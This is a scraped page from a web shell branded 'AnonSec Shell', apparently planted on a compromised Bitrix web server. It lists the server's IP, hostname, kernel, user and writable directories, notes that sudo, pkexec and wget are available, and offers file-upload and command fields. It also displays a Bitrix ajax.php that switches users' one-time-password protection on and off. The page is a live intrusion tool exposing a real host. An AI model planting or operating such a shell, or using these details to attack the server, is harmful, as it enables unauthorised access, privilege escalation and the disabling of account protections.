AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.142.252.129
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/gadgets/bitrix/sonet_user_desc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/gadgets/bitrix/sonet_user_desc/ajax.php
<?define("NOT_CHECK_PERMISSIONS", true);
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

if ($_SERVER["REQUEST_METHOD"]=="POST" && isset($_POST["action"]) && check_bitrix_sessid())
{
	$action = trim($_POST["action"]);
	$arJsonData = array();

	$userId = trim($_POST["userId"]);

	switch ($action)
	{
		case "deactivate":
			if (CModule::IncludeModule("security"))
			{
				$numDays = intval($_POST["numDays"]);
				$res = CSecurityUser::DeactivateUserOtp($userId, $numDays);
				if ($res)
					$arJsonData["success"] = "Y";
				else
					$arJsonData["error"] = "Y";
			}
			else
			{
				$arJsonData["error"] = "Y";
			}
			break;

		case "activate":
			if (CModule::IncludeModule("security"))
			{
				$res = CSecurityUser::ActivateUserOtp($userId);
				if ($res)
					$arJsonData["success"] = "Y";
				else
					$arJsonData["error"] = "Y";
			}
			else
			{
				$arJsonData["error"] = "Y";
			}
			break;

		case "defer":
			if (CModule::IncludeModule("security"))
			{
				$numDays = intval($_POST["numDays"]);
				$res = CSecurityUser::DeferUserOtp($userId, $numDays);
				if ($res)
					$arJsonData["success"] = "Y";
				else
					$arJsonData["error"] = "Y";
			}
			else
			{
				$arJsonData["error"] = "Y";
			}
			break;
	}

	echo \Bitrix\Main\Web\Json::encode($arJsonData);
}
?>

Anon7 - 2022
AnonSec Team